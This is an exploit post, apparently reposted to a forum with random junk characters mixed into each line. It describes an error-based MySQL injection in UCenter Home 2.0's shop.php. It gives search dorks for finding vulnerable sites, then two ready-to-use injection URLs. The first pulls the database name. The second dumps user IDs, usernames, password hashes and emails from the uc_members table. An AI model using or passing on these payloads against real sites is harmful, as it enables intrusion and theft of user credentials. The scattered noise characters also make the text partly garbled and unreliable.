. n8 N |% M. Z% [__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ ' w" \, z& W9 i8 b
y/ [. D) _; |3 s, Y
; Y7 m* a# R9 D9 t+ |8 U8 ?' y* M+ C( T7 t
*/ Author : KnocKout - M, d+ e" p! P
: h3 j7 f2 }1 z$ u& F7 z*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers + A% N, Q" y' c7 i
3 R1 j7 u' G* X$ w% I7 x0 r
*/ Contact: knockoutr@msn.com
. S; n" `5 d" j% D7 O/ D1 d" l+ q
*/ Cyber-Warrior.org/CWKnocKout
5 ~: y8 e \' z! t* ?
1 M8 x; Y: U3 C2 B# C* _: w: O__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== - }) l+ y) i: y# j2 N6 C! d& u7 q( N9 u
1 c7 Q5 i5 N1 r; n4 s' n
Script : UCenter Home
4 J+ n1 ^, t, b; V+ ] a6 I0 I0 |, t* b" S9 O. {
Version : 2.0
( [2 e) R3 t1 x8 |; o& D* s
% e9 A0 y) ]# g, W0 S Y0 T7 m: VScript HomePage : http://u.discuz.net/ * X; q) g+ m! L! B2 [2 [4 @
/ D7 T5 Y$ F) X+ F5 W7 I( v% {
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
$ o* s/ w p3 ?) R- f- i
9 w' r9 O) i. |! {( F$ _Dork : Powered by UCenter inurl:shop.php?ac=view
' P8 m0 e5 G2 l7 I; }$ H; \6 z$ x
Dork 2 : inurl:shop.php?ac=view&shopid=
7 m s- n, a' p, U; x" [, X* f9 A7 A5 @$ Q6 R$ k
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== ; ^" @3 N9 e4 c1 @' A
, F' L; x2 W! z( H! n
Vuln file : Shop.php 6 p, c0 i; F \! C# M# g4 g, z" V9 F
# [* S8 Z4 J5 i0 [- x# @8 ]0 Gvalue's : (?)ac=view&shopid= 6 d3 [+ ?* b2 V) u3 W% L1 G* g
6 j4 F/ ^* y F7 E1 h- ^
Vulnerable Style : SQL Injection (MySQL Error Based)
/ `' K7 ^2 Q1 x E6 Q5 f/ ~) D. F; i$ D1 R
Need Metarials : Hex Conversion # e! K) M- `' [' m( J5 f
1 g( K& u: H( F0 b9 r# j. E, u* q
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
3 \* Q- R, `% o% m# `2 B" G5 [8 G/ R; ]8 M$ Y
Your Need victim Database name. " h0 @+ c! Z0 Z( g# |
& O2 j" F' }* C8 q$ _! Gfor Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 * {* h) Q& n" a8 \: h T6 I
% [( c9 Y' F5 ]- J- P. E* [5 I: T
.. ( u3 L8 p' k. g4 G3 ]4 ~" Q
l: ]4 R+ U( C2 Q% C) Z5 x
DB : Okey. & w& M( s( B1 f3 r. \
9 |/ G, Y! f0 V7 q$ ryour edit DB `[TARGET DB NAME]`
0 [9 z# |' q# d) x
& i& m, k3 |7 tExample : 'hiwir1_ucenter' ; }/ i7 B+ e5 Q/ h# F% m
6 A3 {' C$ `; Y7 J8 W; }Edit : Okey. T2 a8 [/ R( C* b \" L# B2 j# Y
* v5 } m7 y& U! \: ?" b( n1 I
Your use Hex conversion. And edit Your SQL Injection Exploit..
( f' C, Z6 t5 B& E' R% @9 y% Y5 q Z9 Y: [: ~* {- x& K' Z
! ]% b0 ?* u% I X9 y0 s: l7 V0 _6 w. J+ u
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
_" R {. Z, \' u$ C* L" L& G: n% W) m |
发表于 2013-2-27 21:31:31
收藏
支持
反对